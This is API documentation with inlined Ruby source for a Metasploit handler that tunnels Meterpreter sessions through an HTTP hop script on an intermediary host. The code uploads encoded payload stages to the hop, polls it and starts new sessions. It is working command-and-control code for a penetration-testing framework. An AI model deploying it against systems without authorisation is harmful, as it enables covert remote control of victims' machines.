Module: Msf::Handler::ReverseHopHttp
- Includes:
- ReverseHttp
- Defined in:
- lib/msf/core/handler/reverse_hop_http.rb
Overview
This handler implements the HTTP hop tunneling interface. It acts like an HTTP server to the meterpreter packet dispatcher but as an HTTP client to actually send and receive the data from the hop.
Constant Summary collapse
- MAGIC =
Magic bytes to know we are talking to a valid hop
'TzGq'
Constants included from Rex::Payloads::Meterpreter::UriChecksum
Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN
Constants included from Msf::Handler
Class Attribute Summary collapse
-
.hop_handlers ⇒ Object
Returns the value of attribute hop_handlers.
Instance Attribute Summary collapse
-
#closed_handlers ⇒ Object
:nodoc:.
-
#control ⇒ Object
:nodoc:.
-
#current_url ⇒ Object
:nodoc:.
-
#handlers ⇒ Object
:nodoc:.
-
#lock ⇒ Object
:nodoc:.
-
#mclient ⇒ Object
:nodoc:.
-
#monitor_thread ⇒ Object
:nodoc:.
-
#refs ⇒ Object
:nodoc:.
Attributes included from ReverseHttp
Attributes included from Msf::Handler
#exploit_config, #parent_payload, #pending_connections, #session_waiter_event, #sessions
Class Method Summary collapse
-
.general_handler_type ⇒ Object
Returns the connection-described general handler type, in this case ‘tunnel’.
-
.handler_type ⇒ Object
Returns the string representation of the handler type.
Instance Method Summary collapse
-
#add_resource(res, opts = {}) ⇒ Object
Adds a resource.
-
#close_client(cli) ⇒ Object
Implemented for compatibility reasons, does nothing.
-
#deref ⇒ Object
Implemented for compatibility reasons, does nothing.
-
#full_uri ⇒ Object
Return the URI of the hop point.
-
#initialize(info = {}) ⇒ Object
Initializes the Hop HTTP tunneling handler.
-
#localinfo ⇒ Object
Returns a string representation of the local hop.
-
#peerinfo ⇒ Object
Returns the URL of the remote hop end.
-
#remove_resource(res) ⇒ Object
Removes a resource.
-
#resources ⇒ Object
Implemented for compatibility reasons.
-
#send_new_stage(uri) ⇒ Object
Generates and sends a stage up to the hop point to be ready for the next client.
-
#send_response(resp) ⇒ Object
Sends data to hop.
-
#setup_handler ⇒ Object
Sets up a handler.
-
#start_handler ⇒ Object
Starts the handler along with a monitoring thread to handle data transfer.
-
#stop_handler ⇒ Object
Stops the handler and monitoring thread.
-
#type? ⇒ Boolean
Returns the socket type.
Methods included from ReverseHttp
#comm_string, #listener_uri, #lookup_proxy_settings, #luri, #on_request, #payload_uri, #print_prefix, #scheme, #ssl?
Methods included from Payload::Windows::VerifySsl
Methods included from Rex::Payloads::Meterpreter::UriChecksum
#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup
Methods included from Msf::Handler::Reverse::Comm
Methods included from Reverse
#bind_addresses, #bind_port, #is_loopback_address?
Methods included from Msf::Handler
#add_handler, #cleanup_handler, #create_session, #handle_connection, #handler, #handler_name, #interrupt_wait_for_session, #register_session, #wait_for_session, #wfs_delay
Class Attribute Details
.hop_handlers ⇒ Object
Returns the value of attribute hop_handlers.
26 27 28 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 26 def hop_handlers @hop_handlers end |
Instance Attribute Details
#closed_handlers ⇒ Object
:nodoc:
29 30 31 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 29 def closed_handlers @closed_handlers end |
#control ⇒ Object
:nodoc:
32 33 34 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 32 def control @control end |
#current_url ⇒ Object
:nodoc:
31 32 33 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 31 def current_url @current_url end |
#handlers ⇒ Object
:nodoc:
28 29 30 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 28 def handlers @handlers end |
#lock ⇒ Object
:nodoc:
34 35 36 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 34 def lock @lock end |
#mclient ⇒ Object
:nodoc:
30 31 32 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 30 def mclient @mclient end |
#monitor_thread ⇒ Object
:nodoc:
27 28 29 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 27 def monitor_thread @monitor_thread end |
#refs ⇒ Object
:nodoc:
33 34 35 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 33 def refs @refs end |
Class Method Details
.general_handler_type ⇒ Object
Returns the connection-described general handler type, in this case ‘tunnel’.
52 53 54 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 52 def self.general_handler_type "tunnel" end |
.handler_type ⇒ Object
Returns the string representation of the handler type
44 45 46 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 44 def self.handler_type return "reverse_hop_http" end |
Instance Method Details
#add_resource(res, opts = {}) ⇒ Object
Adds a resource. (handler for a session)
173 174 175 176 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 173 def add_resource(res, opts={}) self.handlers[res] = opts['Proc'] start_handler if monitor_thread.nil? end |
#close_client(cli) ⇒ Object
Implemented for compatibility reasons, does nothing
204 205 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 204 def close_client(cli) end |
#deref ⇒ Object
Implemented for compatibility reasons, does nothing
198 199 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 198 def deref end |
#full_uri ⇒ Object
Return the URI of the hop point.
226 227 228 229 230 231 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 226 def full_uri uri = datastore['HOPURL'] return uri if uri.end_with?('/') return "#{uri}/" if uri.end_with?('?') "#{uri}?/" end |
#initialize(info = {}) ⇒ Object
Initializes the Hop HTTP tunneling handler.
251 252 253 254 255 256 257 258 259 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 251 def initialize(info = {}) super ( [ OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ]) ], Msf::Handler::ReverseHopHttp) end |
#localinfo ⇒ Object
Returns a string representation of the local hop
236 237 238 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 236 def localinfo "Hop client" end |
#peerinfo ⇒ Object
Returns the URL of the remote hop end
243 244 245 246 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 243 def peerinfo uri = URI(full_uri) "#{uri.host}:#{uri.port}" end |
#remove_resource(res) ⇒ Object
Removes a resource.
181 182 183 184 185 186 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 181 def remove_resource(res) lock.lock handlers.delete(res) closed_handlers[res] = true lock.unlock end |
#resources ⇒ Object
Implemented for compatibility reasons
191 192 193 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 191 def resources handlers end |
#send_new_stage(uri) ⇒ Object
Generates and sends a stage up to the hop point to be ready for the next client
264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 264 def send_new_stage(uri) # try to get the UUID out of the existing URI info = process_uri_resource(uri.to_s) uuid = info[:uuid] || Msf::Payload::UUID.new # generate a new connect sum = uri_checksum_lookup(:connect) conn_id = generate_uri_uuid(sum, uuid) conn_id = conn_id[1..-1] if conn_id.start_with? '/' url = full_uri + conn_id + "/\x00" fulluri = URI(full_uri + conn_id) print_status("Preparing stage for next session #{conn_id}") blob = stage_payload( uuid: uuid, uri: fulluri.request_uri, lhost: uri.host, lport: uri.port ) #send up crequest = mclient.request_raw( 'method' => 'POST', 'uri' => control, 'data' => encode_stage(blob), 'headers' => {'X-init' => 'true'} ) res = mclient.send_recv(crequest) print_status("Uploaded stage to hop #{full_uri}") print_error(res.error) if !res.nil? && res.error #return conn info [conn_id, url] end |
#send_response(resp) ⇒ Object
Sends data to hop
210 211 212 213 214 215 216 217 218 219 220 221 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 210 def send_response(resp) if not resp.body.empty? crequest = mclient.request_raw( 'method' => 'POST', 'uri' => control, 'data' => resp.body, 'headers' => {'X-urlfrag' => current_url} ) # if receiving POST data, hop does not send back data, so we can stop here mclient.send_recv(crequest) end end |
#setup_handler ⇒ Object
Sets up a handler. Doesn’t do much since it’s all in start_handler.
66 67 68 69 70 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 66 def setup_handler self.handlers = {} self.closed_handlers = {} self.lock = Mutex.new end |
#start_handler ⇒ Object
Starts the handler along with a monitoring thread to handle data transfer
75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 75 def start_handler # Our HTTP client and URL for talking to the hop uri = URI(full_uri) self.control = "#{uri.request_uri}control" self.mclient = Rex::Proto::Http::Client.new( uri.host, uri.port, { 'Msf' => framework }, full_uri.start_with?('https') ) @running = true # So we know we can stop it # If someone is already monitoring this hop, bump the refcount instead of starting a new thread if ReverseHopHttp.hop_handlers.has_key?(full_uri) ReverseHopHttp.hop_handlers[full_uri].refs += 1 return end # Sometimes you just have to do everything yourself. # Declare ownership of this hop and spawn a thread to monitor it. self.refs = 1 ReverseHopHttp.hop_handlers[full_uri] = self self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri, self) do |uri, hop_http| hop_http.send_new_stage(uri) # send stage to hop delay = 1 # poll delay # Continue to loop as long as at least one handler or one session is depending on us until hop_http.refs < 1 && hop_http.handlers.empty? sleep delay delay = delay + 1 if delay < 10 # slow down if we're not getting anything crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control}) res = hop_http.mclient.send_recv(crequest) # send poll to the hop next if res.nil? if res.error print_error(res.error) next end # validate responses, handle each message down received = res.body until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC # good response delay = 0 # we're talking, speed up urlen = received.slice!(0,4).unpack('V')[0] urlpath = received.slice!(0,urlen) datalen = received.slice!(0,4).unpack('V')[0] # do not want handlers to change while we dispatch this hop_http.lock.lock #received now starts with the binary contents of the message if hop_http.handlers.include? urlpath pack = Rex::Proto::Http::Packet.new pack.body = received.slice!(0,datalen) hop_http.current_url = urlpath hop_http.handlers[urlpath].call(hop_http, pack) hop_http.lock.unlock elsif !closed_handlers.include? urlpath hop_http.lock.unlock #New session! conn_id = urlpath.gsub("/","") # Short-circuit the payload's handle_connection processing for create_session # We are the dispatcher since we need to handle the comms to the hop create_session(hop_http, { :passive_dispatcher => self, :conn_id => conn_id, :url => uri.to_s + conn_id + "/\x00", :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ssl => false, }) # send new stage to hop so next inbound session will get a unique ID. hop_http.send_new_stage(uri) else hop_http.lock.unlock end end end hop_http.monitor_thread = nil #make sure we're out ReverseHopHttp.hop_handlers.delete(full_uri) end end |
#stop_handler ⇒ Object
Stops the handler and monitoring thread
162 163 164 165 166 167 168 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 162 def stop_handler # stop_handler is called like 3 times, don't decrement refcount unless we're still running if @running ReverseHopHttp.hop_handlers[full_uri].refs -= 1 @running = false end end |
#type? ⇒ Boolean
Returns the socket type. (hop)
59 60 61 |
# File 'lib/msf/core/handler/reverse_hop_http.rb', line 59 def type? return 'hop' end |